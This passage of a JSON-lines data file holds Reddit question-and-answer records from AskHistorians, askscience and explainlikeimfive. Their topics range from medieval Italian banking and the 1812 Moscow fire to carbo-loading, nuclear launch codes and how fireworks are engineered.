[["http://en.wikipedia.org/wiki/67P/Churyumov%E2%80%93Gerasimenko", "http://en.wikipedia.org/wiki/IAU_definition_of_planet", "http://en.wikipedia.org/wiki/Contact_binary_(asteroid)"], ["http://en.wikipedia.org/wiki/Roche_limit"]]}
{"q_id": "1t7kb1", "title": "How did Banking Spread from Northern Italy?", "selftext": "Dear AskHistorians:\n\nI was wondering if you could enlighten me about the banking system of Northern Italy in the Early Middle Ages. I've heard that it was a pivotal form of financing in the Early Middle Ages around the 1100s, especially for military intrigues during that time. \n\nMy questions: \n\n* How did the Italians get the capital to invest in foreign wars in the first place? \n* What sorts of things did they invest in? \n* What did the Holy Roman Empire do regarding this system, if anything?\n* Where did it go? Why did it vanish? \n\nAlso, any books on the topic would be lovely. Thanks for being an amazing subreddit!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1t7kb1/how_did_banking_spread_from_northern_italy/", "answers": {"a_id": ["ce5ds9f"], "score": [5], "text": ["1. Early on, Jews raised money by virtue of being the folks that could deal in usury, not subject to papal decrees, and Northern Italy was the most tolerant place with a lot of wealth in a world of a bunch of terrible Christian places to live for Jews. After the Crusades got started, the Holy Orders like Hospatalliers, Templars and Teutonic Knights etc. got taxes directly from king's decrees, and they were heavily involved in the banking system, so the capital got into the system en masse that way. Some heretical branches of Christianity invented novel instruments to get around usury bans by justifying it according to their interpretations.\n\n2. Some textile/wool/dyes trading in France through the Champagne fairs, a lot of debt/lending against crops in agricultural Italy, and precious metals. Republics like Venice spent a lot of time snapping up territory that was gradually being lost by the Byzantines over time and investing in what they had started and expanded it. Naturally, funding and investing in wars was also a kind of investment, in new trade routes or places to set up new \"branches\"\n\n3. Mostly put up with it? If you've never looked up the Hanseatic League, there was a whole system of guilds/traders that controlled port towns across the coasts of the Baltic Sea. They managed to get imperial immediacy (jurisdiction directly under the Emperor) and had a large degree of power/autonomy. Later on, some Italian banks went under and were acquired by Germans, or Germans formed new banks after the printing press spread the knowledge of the complicated techniques developed. The Fuggers and the Welsers are some families that emerged on the other side of the Alps.\n\n4. Where did what go? Plenty of parts survived. If you mean why it declined in prominence, it's because Spain colonized the New World and got hella gold and spices and stuff from the Caribbean and it went through the Spanish Netherlands, and the massive amounts of debt and hard currency allowed the Dutch to become the foremost bankers in the world. They kept innovating and combining systems to invent larger and more efficient banks, with better techniques against runaway interest and other things that made dealing with them a better proposition for moneyed interests. The spread of Protestantism, free from the Pope and certain bits of Catholic moral orthodoxy, also helped a bit later on"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4a9ros", "title": "I read an alt-history story about the Chinese discovering America in the 1500s. The Chinese start a smallpox epidemic, they say that they've had this happen before with natives on Tiwan, the Philippines and the spice islands. Did the Chinese really trigger virgin outbreaks in any of those places?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4a9ros/i_read_an_althistory_story_about_the_chinese/", "answers": {"a_id": ["d0youpy", "d0yrgig", "d0z16cz"], "score": [32, 87, 27], "text": ["Out of curiosity is it the Years of Rice and Salt you read?\n", "For the Philippines, it's hard to say for certain, but in Linda Newson's book on Old World diseases and the archipelago, *Conquest and Pestilence*, she points to Spanish contact rather than the pre-colonial trade with the Chinese as the conduit for introducing (and making endemic) smallpox and other pestilences.\n\nFor one, the Chinese were not the only foreigners trading with Filipino communities before the Spanish came. Arabs as well as other Southeast Asian contacts were known well before Magellan first arrived in 1521.\n\nDespite this trade contact with China (as well as medieval Filipino pirate raids on the Chinese coast) the Filipino words for these diseases are not lexical borrowings from Chinese, nor are their treatments.\n\nFor another, the populations of individual Filipino communities were typically small - usually only about 30 to 100 families per polity - aggregating to ~1.5 million people dispersed over the thousands of islands of the archipelago. \n\nFrom the circumstantial evidence taking these into account, and Spanish records of smallpox and measles ravaging subject Filipino communities during the early colonial period, Newson concludes that while acute infections may indeed have been introduced from China (as from the other trade contacts of the archipelago), the low population densities in the Philippines did not enable these diseases to become endemic. And the tremendous suffering from these diseases experienced upon the advent of the Spaniards - who tended to require the Filipinos to live in concentrated population centers - indicates that the diseases' introduction in such circumstances was not something with a precedent in this scale before the colonial period.", "There are a few references of early Chinese naval expeditions to the eastern sea finding islands, and some of those reports included there being aboriginal populations, which were occasionally mysteriously \"gone\" upon further inspection, or were outright reported to have been wiped out through illness upon contact with the Chinese sailors.\n\nQuite a few of these expeditions to the great Eastern Sea were in attempts to find \"immortality drugs\" or elixirs on the reigning emperor's behalf, as well as holy legendary mountains.  The most famous of these legendary places - on which early emperors were convinced immortals dwelled - were called Penglai, Fangchang, and Yingzhou.  \n\nOne expedition was supposedly carried out in the 1100's BCE during the reign of the 26th King of Shang, Wu Yi... but probably the most famous of these expeditions was carried out on behalf of the First Emperor himself, Qin Shihuang, by his admiral Xu Fu, in 219 BCE.  He purportedly carried some thousand men and women in an attempt to discover Penglai, but never returned... legendarily both stories goes that its own particular group settled the Japanese islands as the Wa/Wo/Yamato People, but that's almost categorically been shown to be just legend in both instances.  From the *Cambridge History of China, vol 1:*\n\n > During the Ch'in period, and perhaps the first century of Han, attention was focused on a Paradise of the East. The way lay through certain islands lying east of China which were thought to possess magical and spiritual properties; these were known as the home of certain creatures noted for their purity. By passage through these islands, and particularly the one named P'eng-lai, it would be possi- ble to procure the elixir; once this had been obtained, it would be possible to ascend to a higher realm.\n\nThere were a few other instances of the \"discovery\" or quite possibly \"re-discovery\" any number of the many islands in the East China Sea, due to a 400 year civil war effectively wiping much of the slate clean for later dynasties, in terms of external geographical knowledge.  During the 3 Kingdoms Era, a naval expedition of the Wu Kingdom reported finding a place they called Yizhou in the 3rd century.  They reported that the native fought them fiercely, but soon had died of a plague.  Essentially they shrugged it off, said there wasn't much worth conquering anyway, and headed home.\n\nFollowing reunification, the 2nd and last Emperor of Sui, Yang, mounted another expedition which this time found a place they called Liuqiu in the 7th century... which is kind of difficult to pin down because that would later come to mean the Ryukyu islands, but Chinese understanding of where exactly everything was at this point was hazy enough that there are quite a few who think it may have actually been Taiwan.  Regardless, it piqued his interest enough that he would send a further two expeditions there.  From the *Book of Sui, vol. 81* in its chapter on \u6771\u5937, \"Eastern Barbarians\":\n\n >  The country of Li\u00faqi\u00fa is situated amidst islands in the sea, in a location that should be east of Ji\u00e0n'\u0101n County, to which one may arrive with five days' travel by water. The land has many caves. Its king's clan name is Huansi, and his given name is Keladou; it is not known how many generations have passed since he and his have come to possess the country. The people of that land call him Kelaoyang, and for his wife, [they] say Duobatu. His place of residence they call Boluotan Grotto, with threefold moats and fences; the perimeter has flowing water, trees and briars as barriers. As for the domicile of the king, it is sixteen rooms large, and engraved with carvings of birds and beasts. There are many Doulou trees, which resemble the orange but with foliage that is dense. The country has four or five chiefs, who unite several villages under their rule; the villages have [their own] little kings.\n\n > The people have deep eyes and long noses, seeming to be rather akin to the Hu, and also having petty cleverness. There is no observance of hierarchy of ruler and minister nor the rite of prostrating oneself with one's palms pressed together. Fathers and children sleep together in the same bed. The men pluck out their whiskers and beards, and any place on their bodies where they happen to have hair, they will also remove it. The adult women use ink to tattoo their hands in the design of insects and serpents. As for marriage, they use wine, delicacies, pearls and shells to arrange a betrothal; if a man and a woman have found pleasure in each other, then they get married.\n\nIt would be remarkably **un**surprising to think that the Chinese would have cause outbreaks - potentially devastating ones - among many of those with whom they interacted.  As stated before, they even bothered to note occasionally when such instances occurred... but more frequently, it really just wasn't noteworthy to them when/if \"barbarian tribes\" died out or why.  But many of the diseases that would ravage Asia, Europe, and the world stemmed from the highly urbanized disease factories that were medieval Chinese cities.  [Bubonic plague](_URL_0_), for instance, we can thank Chinese rats and the Silk Road for.\n\nNevertheless, at least in Taiwan's case, the aboriginals were able to fight off the occasional attempt at Han Chinese colonization while apparently avoiding at least truly slate-wiping diseases those from the mainland might have carried up through the 13th century, when they were at last brought into the Ming's hegemony with the colonization of the Penghu Islands (the Pescadores).  This was, to be sure, much less a result of the resistance the natives may have put up, than general Chinese disinterest in the islands of the East - they held almost nothing of value, only perhaps to the occasional fisherman and mom-and-pop traders seeking to barter...and when those facts were established, they were generally left alone because Chang'an generally had much bigger fish to fry."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://plaza.ufl.edu/wlclapp/The%20Spread%20of%20Black%20Death_files/image001.jpg"]]}
{"q_id": "2wovhc", "title": "Metabolically, what advantages are there to \"Carbo-Loading\" by loading up on rice/pastas the day before a big marathon or hike?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2wovhc/metabolically_what_advantages_are_there_to/", "answers": {"a_id": ["cosy5y0"], "score": [10], "text": ["The most important thing about carb loading is the fact that it replenishes and maximizes your glycogen stores. When you carb load, your body digests those carbs into glucose, fructose, and galactose (mostly glucose). Fructose and galactose can be converted to glucose through a series of chemical reactions in the body. The thing is, you don't need all the energy at that moment. So, when you have such an excessive amount of glucose in the body, insulin is secreted which stimulates glyconeogenesis: glucose gets polymerized in a chain to form glycogen. Glycogen is almost entirely stored in muscles and the liver. \n\nThe importance of this is that when the body needs energy, it can then break down the glycogen through a process known as glycogenolysis. This process is stimulated most directly by the epinephrine that is pulsating through your body during physical exercise (it can also be stimulated by glucagon, but during exercise it is primarily epinephrine doing the stimulation). \n\nBy maximizing your glycogen stores, you maximize the energy your body has stored, therefore, maximizing your energy output and your success in any physical activity. That is why for practically any sport, you are supposed to carb load, not protein or fat load, the day before. This is also why everyone says you should eat the majority of your carbs a couple hours before you workout; you need your glycogen stores filled to push yourself.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1nyo3t", "title": "eli85: twitter. but explain it like i'm 85.", "selftext": "My boss is a trader who mainly buys IPOs. He is interested in Twitter. He is OLD. I've tried twice to explain Twitter to him and I just fail. I need to explain this in non-Internet terms. Today I told him it's like a huge bulletin board where people can put up short memos and everyone can read it, and he still didn't really understand. It's probably more important for him to understand **how Twitter makes money** than how it works for users. Anyone got any ideas?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1nyo3t/eli85_twitter_but_explain_it_like_im_85/", "answers": {"a_id": ["ccna3i3", "ccnbeh6", "ccncyc8"], "score": [7, 2, 2], "text": ["It's like having your own CB radio station, except it's on all the time, people can listen or talk to you regardless of distance, and you can only transmit short messages, though those short messages can include links to other information. \n\nIt makes money the same way that a radio station would make money: the guys that own the transmission equipment find people who want to use it for advertisements and sell the ad space. ", "On twitter, you can write small messages.\rOther people can do the same.\rYou can choose to subscribe to some of these people, and the messages they write will be sent to you.\rPeople can also subscribe to you.", "Probably best he *doesn't* get involved in this.  If he doesn't understand what they do, doesn't understand how they can make money, it's probably a bad idea for him to get involved.  Twitter is a massively hyped, volatile IPO.\n\nJust tell him that it's sort of like Facebook  &  tell him to look at a chart of the first few weeks of their IPO.  Prices are going to be be all over the place  &  the initial valuation is driven by hype  &  the pre-IPO investors getting their money back more than any realistic attribute of the stock."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8zo5za", "title": "Are there any pre-Latin Celtic written languages?", "selftext": "Are there any written languages in Europe that possibly have original roots not connected to the Latin or the Roman civilization?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8zo5za/are_there_any_prelatin_celtic_written_languages/", "answers": {"a_id": ["e2kfd5g"], "score": [4], "text": ["Are you counting if the writing system derived from earlier roots? Greek writing derived from Phoenician, which ends with Egyptian hieroglyphs. Could you clarify the question?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "99dnsx", "title": "Can an electromagnetic an wave exist only within certain frames of reference?", "selftext": "I was once pointed out this paradox by a physics teacher:\n____________\n\n*Imagine an isolated Moon with enough gravity, in vacuum to be more \"dramatic\". There is a pedestrian standing on its surface. At the same time, up there there is a unlucky space-diver who is in free fall towards the same ground the pedestrian is standing. This space-diver is holding an electron between his thumb and his index finger.*\n\n*Whether inertial or not frames of references, it happens to be that the pedestrian can observe an electromagnetic wave coming out from that electron, because it's an accelerated charge. But at the same time the space-diver can't observe the wave because on his frame the charge has no motion (therefore no acceleration). How happen that the E.M. wave exists in one frame but doesn't exits in the other?*\n\n_______________\n\nMy teacher already told us that this is still an unsolved paradox, and that Maxwell Equations and relativistic electrodynamics still hasn't a clear answer. I had been believing him for a decade, but the question poped-up in my head recently. Was my teacher right?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/99dnsx/can_an_electromagnetic_an_wave_exist_only_within/", "answers": {"a_id": ["e4oj4mf"], "score": [14], "text": ["There is a [-paradox-](_URL_1_) surrounding what you say, it is not however (at least to my knowledge) an \"open question\". Just a subtle consideration of electrodynamics in the context of general relativity. The starting place for the resolution is that falling charges do indeed emit EM radiation, like for example when mass falls towards a neutron star, something I discuss [here](_URL_2_). The \"exercise\" or \"paradox\" is then about making that observed fact okay with general relativity, which can be done (from the wikipedia above):\n\n > This section follows the analysis of Fritz Rohrlich (1965),[1] who shows that a charged particle and a neutral particle fall equally fast in a gravitational field, despite the fact that the charged one loses energy by radiation. Likewise, a charged particle at rest in a gravitational field does not radiate in its rest frame. The equivalence principle is preserved for charged particles.\n\n > When this coordinate transformation is applied to the electric and magnetic fields of the charge in the rest frame, it is found to be radiating, as expected for a charge falling away from a supported observer. Rohrlich emphasizes that this charge remains at rest in its free-fall frame, just as a neutral particle would. Furthermore, the radiation rate for this situation is Lorentz-invariant, but it is not invariant under the coordinate transformation above because it is not a Lorentz transformation.\n\nIn other words, when comparing the observed EM field for an observer on Earth (a so-called \"supported\" observer as the gravitational force downwards is being  cancelled by a normal force from the floor upwards) with the frame of a resting charged particle in free-fall, transformations are needed that go beyond  that of simply switching inertial frames in Maxwell's equations. It's strange, which is why it's a paradox, but it all works out.\n\nFor the sake of curiosity, there actually is an open question that is somewhat related, which is the [Unruh effect](_URL_0_) which states:\n\n > The Unruh effect (or sometimes Fulling\u2013Davies\u2013Unruh effect) is the prediction that an accelerating observer will observe blackbody radiation where an inertial observer would observe none. \n\nThis effect is controversial and the reality of it is unknown."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Unruh_effect", "https://en.wikipedia.org/wiki/Paradox_of_radiation_of_charged_particles_in_a_gravitational_field", "https://atomsandsporks.com/2018/08/13/the-saga-of-light-part-2-the-hardest-fall-in-the-universe-and-how-hot-pockets-can-fell-telescopes-and-some-stuff-on-the-em-spectrum/"]]}
{"q_id": "5wviat", "title": "where do we get the chemicals used in laboratories to create medicine?", "selftext": "when I watch videos on internet explaining how stuff works. they just say: we use this chemical, this acid. but I always wonder how do they get that specific stuff?    \nfor example, there are chemicals used in aspirin. where do we get those chemicals? do they \"boil\" a mineral or some plant to get salicylic acid? or how?     \n    \nPS: I used the word \"boil\" to refer to various chemistry processes. I have no clue how to name them", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5wviat/eli5_where_do_we_get_the_chemicals_used_in/", "answers": {"a_id": ["ded5m59"], "score": [12], "text": ["While most medicinal chemicals were originally found in plants/animals/whatever natural source was available, modern methods tend not to rely on them.\n\n\nIn fact, the majority of modern organic molecules are mass-manufactured from petroleum derivatives. I'll expand a little on your example of salicylic acid:\n\nThe \"natural\" source of salicylic acid is in *Arabidopsis thaliana*, where it's biosynthesised from phenylalanine, an amino acid.\n\n\nModern production originates with a molecule called cumene, which is found in crude oil. Cumene gets converted to phenol using a Hock rearrangement. Phenol then gets treated with sodium hydroxide to produce sodium phenolate. Sodium phenolate then gets pressurised with carbon dioxide at a high temperature to make the precursor to salicylic acid. This precursor then gets treated with sulfuric acid to acidify it, making salicylic acid.\n\n\nThis might seem like a much more involved process than just extracting it from the plant, but it has the advantages of producing an essentially pure chemical in a predictable manner. \n\n\ntl;dr: Some medical compounds are still extracted from plants, but we've found a way to get most of them from oil."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5b32e4", "title": "What were the logistics behind the Fire of Moscow in 1812?", "selftext": "Whenver I read about Napoleon entering Moscow, it always feels like a dramatic entry where he found everything burning/abandoned. Now I have the feeling that the logistics of setting such a large city ablaze, as well as evacuating its population was a huge ordeal. So who organized all of this? How? Where did the population go and how did they survive the occupation?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5b32e4/what_were_the_logistics_behind_the_fire_of_moscow/", "answers": {"a_id": ["d9lzvv0"], "score": [2], "text": ["**Part I**\n\nThe ultimate responsibility for the fire of Moscow is something that eludes modern historians. Older historiography used to take it as a given that the city's governor-general, Count Rostopchin set the blazes that engulfed the city and sabotaged any French effort to contain the fires. However, recent research into the fire and occupation of the city have undercut these claims. \n\nThe key pieces of evidence for the arson theory are the writings of Grande Armee officers after the fact, including Napoleon, and Rostopchin's own letters to the Russian military prior to the French occupation that he was going to light the city. On the eve of Borodino, Rostopchin wrote to Bagration:\n\n > if, due to unfortunate circumstance, it would not be possible to save the capital, I will set it on fire. \n\nEarlier in the campaign,  the Governor-General had also sent letters to military and tsarist officials proclaiming that Moscow stood ready to fight and would rather be destroyed than capitulate to a foreign invader. Much of Rostopchin's warnings seemed to be validated when the French occupied the city on 13/14 September and the fires broke out on the 14th. Contemporary accounts and memoirists like Segur painted a vivid account of Russian arson teams and devices.  Napoleon, for example, wrote back to France in his Bulletins that the Russian governor set the blazes with gunpowder and other inflammable material, which destroyed a good portion of the old city. In the immediate aftermath of the fires Rostopochin also took credit for the blazes. \n\nOn the surface, this seems like a damning case for Rostopchin's responsibility, but things are more complicated. There are two important chinks in the arson thesis. Firstly, analyzing Rostopchin's letters or Napoleon's Bulletins without the full context misses some key elements of the whole picture. Part of Rostopchin's motivations for writing his missives prior to 14 September was to ensure that the Russian Army would stand and fight before Moscow instead of abandoning the city. The retreat of Russian forces after the Grande Armee crossed the Niemen was a source of considerable tension and recrimination inside Russian state circles and the army's generals received no end of criticism that they were ceding territory without giving proper fight. Claims to destroy Moscow thus were partly a form of negative reinforcement if the army continued to retreat. Even after Borodino, the existing Russian armies in the field were still strong enough on paper to mount a defense of the city. Moreover, Rostopchin also had to appear to before the tsarist government to be doing his job as governor, so hyperbolic statements like  \"100,000 armed local residents\" stand ready to aid the Russian army also reflected on his mobilization of the city for the war effort. In contrast to his letters, daily broadsheets  produced on his orders for Moscow's population stressed that the city would not be abandoned and that the French would never enter it right up through September. Most of Rostopchin's efforts in the spring and summer of 1812 were devoted not to a well-thought out plan of arson, but the construction of a massive secret weapon, a large balloon built to the designs of the German inventor Franz Leppich. The balloon was nowhere near complete by the time of the city's occupation, but elements of it were likely captured by the Grande Armee and may have contributed rumors of special incendiary devices inside the city. \n\nFrench accounts of deliberate arson are also suspect for a number of reasons. Napoleon's Bulletins were not just reports, but highly selective pieces of propaganda. It was in his interest to play up tales of Russian arson as it both accentuated Russian barbarity and took some of the sting out to a rather disappointing end to the 1812 summer campaign. Napoleon had negotiated an entry into the city with Russian forces, but having a good portion of the city go up in flames was an image with such immediate potent symbolism it was imperative for Napoleon to cast blame for it on the Russians. Napoleon had occupied other capitals during prior campaigns, most notably Berlin and Vienna, and none of them had the level of destruction as Moscow. Napoleon went to great lengths not only to emphasize the barbarity of the Russians' actions, but that the brave officers and men of the Grande Armee had secured enough food and provisions to make it out of the winter. Other French accounts that speak of arson also have to take into account not only the fog of war, but that most soldiers did not speak Russian or even appreciate the city's geography and politics. Napoleonic veterans accounts of Russian troops and people often dipped into demi-Orientalist narratives of a tough Russian national character that was reinforced by Asiatic tyranny of an absolutist state. Setting the city afire fit within these existing narratives. \n\nThe second major factor calling into question the deliberate arson thesis is the timing and state of the Grande Armee's entrance int the city. Rostopchin vacillated in late August over evacuating key facilities and treasures of the city and foot-dragged any wholesale evacuation. By 14 September, there was actually a considerable amount of gunpowder, cannon, and ammunition in the Moscow arsenals that was too heavy to be evacuated. Napoleon's public and private correspondence indicates that the Grande Armee recovered a considerable amount of gunpowder and weapons when they occupied the city. But a good deal of the war material not captured by the French ended up set on fire as it could not be evacuated. Some of the reports for the first outbreaks of fire were adjacent to the arsenals, some of which were already on fire. A number of accounts at the time spoke of high winds, which likely further spread the fires in the largely wooden city. \n\nAdding to the problems of incomplete demolitions, the Grande Armee witnessed a near complete breakdown of discipline inside the city. After a long campaign characterized by grueling marches, Moscow for a number of the soldiers was the imagined terminus of their efforts. Looting and pillaging of conquered cities was a characteristic in many Napoleonic campaigns, and Moscow was apparently little different. There were multiple accounts both by Muscovites and from Grande Armee veterans of widespread looting. Heinrich Brandt, a Polish officer in the  drew a particularly evocative picture of the looting in his memoirs:\n\n > in our camp alone there was a vast quantity of silver, enameled gold, linen, precious gems and furs for the men to sleep on, and more were being brought in on a daily basis. In addition there was a whole mass of objects such as chairs, torches and so on, which the looters were forcing Russians, as drunk as themselves, to carry. Most of the objects were quickly snatched up by dealers, who paid ridiculous prices and appeared out of nowhere. So it was that starvation quickly gave way to excess. Our camps were overflowing with fresh and preserved meats, smoked fish, wine, rum, cognac, and so on. Around each fire the men were cooking, eating, and especially, drinking. The arrival of each new consignment of pillaged items was met with loud cheers. \n\nrumors of arson, which Brandt also believed, added to the justification of the looting.  The existing fires added a more destructive element to this breakdown in discipline as it made some looters desperate to get their share lest the flames consume it. This loss of control not only made it harder for the Grande Armee to contain the fires, and one of the things Rostopchin did evacuate was the most important firefighting gear, but also inculcated a more haphazard respect for the city among its occupiers. Camp and cooking fires added another random element in a wooden city which had no remaining municipal infrastructure or civic order. It took several days for the Grande Armee's officer to restore a semblance of order among its troops, and enough of the city survived to make a comfortable autumn quarters for the remnants of the army. Most accounts from Russians and veterans spoke of the Grande Armee leaving the city burdened with furs and other luxuries. It was only along the retreat, which covered the same ground that the Grande Armee had advanced, that strains in the Grande Armee's logistical system became dangerously acute as this area had been picked over by two armies the previous summer. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5oy9mv", "title": "does the president really have 'launch codes', or is that a euphemism for some other mechanism?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5oy9mv/eli5_does_the_president_really_have_launch_codes/", "answers": {"a_id": ["dcmyrfc", "dcmz2bu", "dcmzysx", "dcn0hwg", "dcnheyt"], "score": [8, 70, 21, 17, 3], "text": ["There is a briefcase carried around by a military officer with the president at all times. It contains within it a \"biscuit\" that contains authentication codes for nuclear launches. So yes, they literally have launch codes.\n\nEdit: The biscuit is basically a sealed container that can be snapped in half to reveal a slip of paper with the codes. It is single use.", "It is literal.  The launch codes are known internally as the \"gold codes.\"  They are printed on a card nicknamed \"the biscuit,\" that is kept on the president's person at all times.  The Vice President also has the gold codes, in case the President is incapacitated and some nukes need launching.  \n\nThere is also what's known as the Nuclear Football, which is a metal Zero Haliburton briefcase that travels with the President at all times. It contains within it retaliatory options, classified launch site co-ordinates, information on how to operate the emergency broadcast system, and 3x5 index cards with the launch codes. \n\nThe Gold Codes *and* the biscuit are required for the president to be given access to the Football, which is used for the actual authorization.  They are used in conjunction.  ", "They are literally codes that authenticate the order to the military. Once the military receives the order to conduct a nuclear strike, and confirms that it came from the President, they decide the best way to carry out that order, and issue orders to launch to the assets chosen using a Seperate code system. The President does not have direct contact with a silo or ballistic submarine.", "What's terrifying is the President alone authorizes the launch of nuclear missiles, the two-man rule does not apply to him. Harold Hering was a navy officer in training to man a nuclear missile launch site, and was administratively discharged for asking the question during class, effectively,\n\n >  \"How can I know, when the order comes to launch missiles, that the order came from a sane president?\"\n\nThe launch system is exclusively concerned with identity, not sanity. There is absolutely nothing preventing a deranged President from destroying the Earth and this remains an open problem.", "While no legal precedent exists to stop a president from launching nuclear weapons. High ranking officials can still defy him and not carry out his orders. It would effectively be treason of the highest order, but don't expect everyone to bend over backwards if a president wants to initiate a first strike."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "3bralh", "title": "Have Romans acknowledged that emperors looked very similar to kings?", "selftext": "I remember hearing Romans took pride in a fact they don't have kings. And that Caesar would defy kingship. Did they think that emperor is a different entity? What was the important difference for them? Did they acknowledge it's the same thing eventually or were they in denial till the end? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3bralh/have_romans_acknowledged_that_emperors_looked/", "answers": {"a_id": ["csot3u6", "cspb6pz"], "score": [23, 2], "text": ["Several Roman writers recognised that there had been a substantial shift with the emperors and related it to the idea of monarchy, including well before Diocletian. \n\n- Tacitus, writing about 109 AD, criticised the perversion of republican traditions to the sycophancy of a monarchy.\n\n- Suetonius, writing about AD 121, under Hadrian, appears to regard it as a kind of dynastic monarchy, starting from the time of Julius Caesar.\n\n- Cassius Dio, writing about AD 200 - 222, openly calls it a monarchy established by Augustus and approves of the change, saying that the Romans could no longer survive under a republic.\n\n(Diocletian came to power in AD 284)\n\n", "They certainly tried to avoid the appearance of a monarchy/imperial family; Trajan's monument in Dacia speaks of how Roman soldiers fought and fell in defence of the Republic, and he is considered the perfect prince because he supposedly didn't wield strict authoritarian power like Domitian had (although historians like Bennett dispute this idea and argue he was actually just as, if not more, authoritarian) \n\nAlthough AJc pointed out how Roman society eventually accepted this state of affairs I believe there was some acknowledgement of reality long before then. Lucan, I believe, complained about how, after Caesar defeated Pompey at Pharsalus and thus gained primacy in Rome, liberty could only be found beyond the Rhine and the Euphrates (ie beyond Rome's borders). The Romans certainly accepted that they were under the control of individual men as opposed to a republic, but the facade of republicanism was upheld for quite some time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8w723y", "title": "How are fire works engineered?", "selftext": "How does one figure out how the pattern will spread and time it accordingly. And use the right mixture to attain color? \n\nEDIT: holy crap I can\u2019t believe my post blew up to as big as it did! Woo upvotes! Well just saw this on the pics sub reddit figured I would put it here!  [aerial fire work cut in half](_URL_0_) ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8w723y/how_are_fire_works_engineered/", "answers": {"a_id": ["e1tdlt9", "e1ti8oy", "e1to1jf", "e1tv5n4", "e1tv9ne", "e1tzgf9", "e1u8oe7", "e1uer9w"], "score": [100, 2021, 54, 9, 7, 11, 2, 2], "text": ["More of a how things work question, see [here](_URL_0_)\n\nFrom there you calculate the amounts required for any of the effects you want and put it in a housing. Anything more specific and you're going to want to get a book. ", "Pro pyrotechnician here: pick up a copy of G.W. Weingart\u2019s book on fireworks. It\u2019s got everything you need to know in it. \n\nBriefly, to answer your question, the pattern you see in the sky is simply a larger version of the arrangement of the composition (\u201cstars\u201d) within the shells. \n\nColor-changing is simply one composition ball, dipped into another composition. Like a Whopper malted milk ball. \n\n(Just sitting here browsing reddit, after wrapping up our show tonight in Blaine, WA.)\n\nEDIT: Fixed George Weingart\u2019s name. ", "We  have a large display in Edinburgh at the end of the festival - quite a few years ago the company who did the display invited me to see the prep and setup - this was still on a mechanical system for triggering the display, and he said that a lot of the set pieces had a single activation fuse triggered by the controller, and that the subsequent timing of these sequences was done by the use of slow fuses triggered by the main fuse, and they could time the delays with enough precision this way, and it made the wiring up, the most time consuming part, far easier - it was fascinating.\n\nHe said that his company made many of the larger shells, but a lot of the smaller \"filler\" fireworks were bought in from China.\n\nApparently you can easily spot a firework factory - they have thick walls and paper thin ceilings so that any accidents go up - not out.", "More or less trial and error. You can light a piece of fuse or quickmatch and measure how fast it burns, you can weigh a lift charge and a shell to figure out how high it's going to go, but mostly you're just basing everything off of past experience and making adjustments. There is enough uncertainty to it that you don't really care if it's supposed to go 300' and it goes 320, you just trim it down about 10 percent and call it a day. Not much sense perfecting something if it's just going to blow up.", "An excellent video for this can be found [Here](_URL_0_). It is the Discovery channel's documentary in the Zambelli Family Fireworks business. Pretty much every awesome show that truly stunned you was using their products. It Goes through a lot of the process and is really interesting.", "Ned Gorski has tons of videos from shells to rockets to colors to patterns to safety and more.\n\n_URL_0_\n\nIt seems to be like baking.  If you follow the recipe you should get the effect as advertised.  Once you master the basics you can start making your own successful recipes.\n", "There\u2019s a \u201chow it\u2019s made\u201d episode about that. It\u2019s been a long time since I\u2019ve seen that episode. But they show how they pack the different powders to get different color effect.\n\nNot sure if they mentioned how they are engineers per-say. But still worth a watch :)", "I don't know what part of the world you are in, but if you're in the US, you can certainly join Western Pyrotechnics Association, and Pyrotechnics Guild International. Have a look at _URL_0_ and _URL_1_ \n\nYou can learn to build  &  shoot your own stuff, and watch some awesome stuff with a bunch of fun people who like blowing stuff up. "]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/pics/comments/8wbu9v/the_inside_of_an_aerial_firework/?st=JJ9G3CSD&amp;sh=2016a8ad"], "answers_urls": [["https://www.explainthatstuff.com/howfireworkswork.html"], [], [], [], ["https://youtu.be/HqVkqQ8Us1w"], ["https://www.youtube.com/user/nedgorski"], [], ["http://www.pgi.org", "https://www.westernpyro.org/"]]}
{"q_id": "2va2ww", "title": "developed countries like the us often outsource labor to children around the world for pennies a day. if we all stop buying the products until they hire only people within the us for living wages, what happens to the kids in the foreign countries?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2va2ww/eli5_developed_countries_like_the_us_often/", "answers": {"a_id": ["cofsvhb"], "score": [3], "text": ["The kids in the foreign countries still do the work, because manufacturing is sponsored by people from countries other than the US. What it really amounts to is punishing them more though, because when the people running the shops they work in stop making money from one of their major revenue sources they're going to take it out on the kids, who will then be working for very little money, and experiencing a great deal more stress."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
